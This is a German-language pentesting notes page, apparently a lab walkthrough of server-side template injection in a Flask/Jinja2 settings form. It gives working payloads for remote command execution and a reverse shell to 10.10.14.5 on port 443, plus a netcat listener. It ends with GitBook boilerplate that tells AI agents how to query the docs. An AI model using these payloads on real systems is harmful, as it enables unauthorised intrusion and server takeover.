> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-flask-pentesting-web.md).

# SSTI Flask

## SSTI:

<figure><img src="/files/143b06585bf579d5a90aeda5b22d2db9c6a9e632" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/f14a9df02b4af1f5e1918f912bd1bca64ee63194" alt=""><figcaption></figcaption></figure>

In der Subdomain findest du einen **Einstellungen** Tab, in dem du die Informationen des Admin-Benutzers ändern kannst (vollständiger Name, Geburtsdatum und Telefonnummer).

<figure><img src="/files/5b0c5b75658af1d653d751a693096c02699704f0" alt=""><figcaption></figcaption></figure>

Wenn du im Formular „Vollständiger Name“ versuchst, einen SSTI-Angriff auszuführen, ist der Server verwundbar. Um dies mit dem `{{ }}`testen wir, ob es die Berechnung interpretiert:

```python
{{1+1}}

```

<figure><img src="/files/a658bf5069520b30d44e56b56252e232719ed4df" alt=""><figcaption></figcaption></figure>

Dann führen wir alle Befehle aus (zum Beispiel, `id`):

```python
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

```

Wir stellen fest, dass es in der Gruppe `root`.

<figure><img src="/files/2234b377d3900d733a62273b2db64bda03b46467" alt=""><figcaption></figcaption></figure>

Wir führen alle eine Reverse Shell aus, um auf den Server zuzugreifen

```python
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('bash -c "bash -i >& /dev/tcp/10.10.14.5/443 0>&1"').read() }}

```

Wir starten einen Listener auf Port 443 auf unserem Angreifer-Rechner:

```bash
nc -nlvp 443

```

<figure><img src="/files/b9a408abfbfa0a236029392be5a80ac5d04b7eac" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-server-side-template-injection-ssti/ssti-flask-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
